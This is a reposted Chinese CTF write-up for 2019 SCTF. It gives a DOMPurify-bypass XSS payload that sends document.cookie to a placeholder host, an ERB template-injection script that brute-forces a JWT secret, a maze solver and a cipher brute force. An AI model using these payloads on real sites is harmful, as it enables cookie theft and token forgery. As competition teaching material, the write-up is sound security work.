2019 SCTF 部分 WriteUp

栏目: Ruby · 发布时间: 4年前

内容简介:刚刚毕业,正好周末遇上SCTF,打了两天,这里记录一下做的几道题启用了Dompurify,且配置文件分析了页面里的js代码

刚刚毕业,正好周末遇上SCTF,打了两天,这里记录一下做的几道题

math-is-fun1

题目给了个在线编辑器

http://47.110.128.101/challenge?name=Challenger

可以提交一个url到服务器,结合hint确定是要xss了

http://47.110.128.101/send_message.html

启用了Dompurify,且配置文件 http://47.110.128.101/config 如下

({"SAFE_FOR_JQUERY":true,"ALLOWED_TAGS":["style","img","video"],"ALLOWE
D_ATTR":["style","src","href"],"FORBID_TAGS":["base","svg","link","iframe","frame","embed"]})

分析了页面里的js代码

渲染流程如下:

  • 服务器将name参数拼接到一个config类型的script标签中
  • 读取上面那个标签的内容并解析然后给window[]赋值 (这里可以变量覆盖)
  • 将config[name]拼接到textarea中
  • 读取location.search中的text,URLdecode后覆盖textarea
  • 监听textarea变化后会执行如下事件
    • 读取textarea的内容
    • Dompurify过滤 (上面发的先知链接已经被修复)
    • markdown渲染 (不知道用的啥库)
    • latex渲染 (用的mathjax2.7.5不存在已知xss)
    • 插入页面

猜测是要覆盖DOMPurify的某些变量,能够使其失效,翻看Dompurify的源码

https://github.com/cure53/DOMPurify/blob/c57dd450d8613fddfda67ad182526f371b4638fd/src/purify.js :966
2019 SCTF 部分 WriteUp

DOMPurify.isSupportedfalse ,则能够绕过过滤

于是构造

name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>alert(1)

DOMPurify.isSupported 设置为false,text参数的值就能直接插入页面中,造成xss

(这里不知道为啥 text=<script>alert(1) 直接就绕过csp弹窗了,可能是非预期

2019 SCTF 部分 WriteUp

最后payload:

name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>window.location.href%3d"http://xxxx.xxxx/?a%3d"%2bescape(document.cookie)

两题都可以用这个paylaod打

2019 SCTF 部分 WriteUp

math-is-fun2

题解同上,

payload:

name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>window.location.href%3d"http://xxxx.xxxx/?a%3d"%2bescape(document.cookie)

flag shop

robots.txt提示/filebak,访问后拿到源码:

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
#ENV["SECRET"] = SecureRandom.hex(xx)

configure do
 enable :logging
 file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
 file.sync = true
 use Rack::CommonLogger, file
end

get "/" do
 redirect '/shop', 302
end

get "/filebak" do
 content_type :text
 erb IO.binread __FILE__
end

get "/api/auth" do
 payload = { uid: SecureRandom.uuid , jkl: 20}
 auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
 cookies[:auth] = auth
end

get "/api/info" do
 islogin
 auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
 json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
 erb :shop
end

get "/work" do
 islogin
 auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
 auth = auth[0]
 unless params[:SECRET].nil?
   if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
     puts ENV["FLAG"]
   end
 end

 if params[:do] == "#{params[:name][0,7]}is working" then

   auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
   auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
   cookies[:auth] = auth
   ERB::new("<script>alert('#{params[:name][0,7]}working successfully!')</script>").result

 end
end

post "/shop" do
 islogin
 auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

 if auth[0]["jkl"] < FLAGPRICE then

   json({title: "error",message: "no enough jkl"})
 else

   auth << {flag: ENV["FLAG"]}
   auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
   cookies[:auth] = auth
   json({title: "success",message: "jkl is good thing"})
 end
end


def islogin
 if cookies[:auth].nil? then
   redirect to('/shop')
 end
end

发现

ERB::new("<script>alert('#{params[:name][0,7]}working successfully!')</script>").result

存在erb模版注入,构造name为 <%=$~%> ,do为 <%=$~%> is working ,结合

ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}"),

其中的 SECRET 参数可控,如果匹配到SECRET,则 $~ (ruby特性,表示最近一次正则匹配结果) 会在页面中返回,于是可以爆破secret,然后伪造JWT去买flag。

爆破脚本如下:

import requests
import base64

url = "http://47.110.15.101"
re = requests.session()
re.get(url + "/api/auth")

flag = "09810e652ce9fa4882fe4875c"
while True:
   i = ""
   for i in "0123456789abcdef":
       #now = flag + i
       now = i + flag
       res = re.get(url + "/work?name=%3c%25%3d%24%7e%25%3e&do=%3c%25%3d%24%7e%25%3e%20is%20working&SECRET="+now)
       if len(res.text) > 48:
           print res.text
           print flag
           flag = now
           break
print flag
2019 SCTF 部分 WriteUp

拿到SECRET后就是伪造cookie去买flag了

2019 SCTF 部分 WriteUp 2019 SCTF 部分 WriteUp

Maaaaaaze

题目意思是找100*100的迷宫中任意两点最大路径

于是把html处理一下,然后任意取一个点作为起点,扔到dfs里跑最长路径,等跑不动的时候拿当前最长路径的重点作为起点再扔进dfs去跑,最后就得到答案 4056

脚本如下(好久没写算法了还真有点手生):

import sys
sys.setrecursionlimit(100000)

file = open("sctfmaze.txt")
maze = [[0 for j in range(0, 100)] for i in range(0, 100)]
vis = [[0 for j in range(0, 100)] for i in range(0, 100)]
class Node:
   t = 0
   r = 0
   b = 0
   l = 0
#print maze
for line in file:
   a = line[:-1].split(" ")
   #print a
   n = Node()
   for i in range(2,len(a)):
       #print a[i],
       if a[i] == '0' :
           n.t = 1
       if a[i] == '1' :
           n.r = 1
       if a[i] == '2' :
           n.b = 1
       if a[i] == '3' :
           n.l = 1
       #print a[i],
   #print
   maze[int(a[0])][int(a[1])] = n
   #print a[0],a[1],maze[int(a[0])][int(a[1])].b
#exit()
def check(i,j):
   if i>=100 or i<0 or j>=100 or j<0:
       return False
   if vis[i][j] == 1:
       return False
   return True

def printmap():
   global vis
   for i in range(0,100):
       for j in range(0,100):
           if vis[i][j] == 1:
               print "%2d%2d" % (i,j)
           print " "

maxx = 0
print maxx,i,j

def dfs(i,j,n):
   global maxx
   global vis
   global maze
   n += 1
  
   #print maxx,i,j,n,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l
   if n>maxx:
       print n,i,j
       #print n,i,j,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l
  
       maxx = n
   if check(i-1,j) and maze[i][j].t == 0:
       vis[i-1][j] = 1
       dfs(i-1,j,n)
       vis[i-1][j] = 0
   if check(i,j+1) and maze[i][j].r == 0:
       vis[i][j+1] = 1
       dfs(i,j+1,n)
       vis[i][j+1] = 0
   if check(i+1,j) and maze[i][j].b == 0:
       vis[i+1][j] = 1
       dfs(i+1,j,n)
       vis[i+1][j] = 0
   if check(i,j-1) and maze[i][j].l == 0:
       vis[i][j-1] = 1
       dfs(i,j-1,n)
       vis[i][j-1] = 0

vis[70][22] = 1
dfs(70,22,0)
exit()

for i in range(0,100):
   for j in range(0,100):
       #print i,j
       vis[i][j] = 1
       dfs(i,j,0)
       vis[i][j] = 0

music

这是道逆向题,前面是队友做的,到我这给了我一个 java 的加密类和密文与密钥,要求解出明文

public class c
{
  private static int m = 256;
  
  public String a(String paramString1, String paramString2)
{
    int i = m;
    int[] arrayOfInt = new int[i];
    byte[] arrayOfByte = new byte[i];
    for (i = 0; i < m; i++)
    {
      arrayOfInt[i] = i;
      arrayOfByte[i] = ((byte)(byte)paramString2.charAt(i % paramString2.length()));
    }
    i = 0;
    int j = 0;
    for (;;)
    {
      k = m;
      if (i >= k - 1) {
        break;
      }
      j = (arrayOfInt[i] + j + arrayOfByte[i]) % k;
      k = arrayOfInt[i];
      arrayOfInt[i] = arrayOfInt[j];
      arrayOfInt[j] = k;
      i++;
    }
    paramString2 = paramString1.toCharArray();
    paramString1 = new char[paramString1.length()];
    int k = 0;
    j = 0;
    for (i = 0; i < paramString2.length; i++)
    {
      int n = m;
      k = (k + 1) % n;
      j = (arrayOfInt[k] + j) % n;
      int i1 = arrayOfInt[k];
      arrayOfInt[k] = arrayOfInt[j];
      arrayOfInt[j] = i1;
      int i2 = arrayOfInt[k];
      i1 = arrayOfInt[k];
      paramString1[i] = ((char)(char)(paramString2[i] - k ^ (char)arrayOfInt[((i2 + i1 % n) % n)]));
    }
    new p();
    return p.a(new String(paramString1).getBytes());
  }
}

分析加密类之后可以知道每个字符进去后输出的密文都是一个固定的字符串

于是直接爆破每一位

import java.lang.String;

public class Main{
   public static void main(String[] args){
       c a = new c();
       String flag = "sctf{";
       String printable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-.:;<=>?@[]^_{|}~";
       String ss = "C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53";
       for(int j=0;j<100;j++)
       {
           for(int i=0;i<printable.length();i++)
           {
               String now=  flag + printable.charAt(i);
               //System.out.println(now);
               String d = a.a(now,"E7E64BF658BAB14A25C9D67A054CEBE5");
               if(ss.indexOf(d) == 0)
               {
                   System.out.println("flag: " + now);
                   flag = now;
               }
           }
           //break;
       }
   }
}

2019 SCTF 部分 WriteUp


以上所述就是小编给大家介绍的《2019 SCTF 部分 WriteUp》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

捉虫记

捉虫记

施迎 / 清华大学出版社 / 2010-6 / 56.00元

《捉虫记:大容量Web应用性能测试与LoadRunner实战》主要讲解大容量Web性能测试的特点和方法,以及使用业内应用非常广泛的工具——Load Runner 9进行性能测试的具体技术与技巧。《捉虫记:大容量Web应用性能测试与LoadRunner实战》共17章,分为5篇。第1篇介绍软件测试的定义、方法和过程等内容:第2篇介绍Web应用、Web性能测试的分类、基本硬件知识、Web应用服务器选型、......一起来看看 《捉虫记》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

URL 编码/解码
URL 编码/解码

URL 编码/解码

html转js在线工具
html转js在线工具

html转js在线工具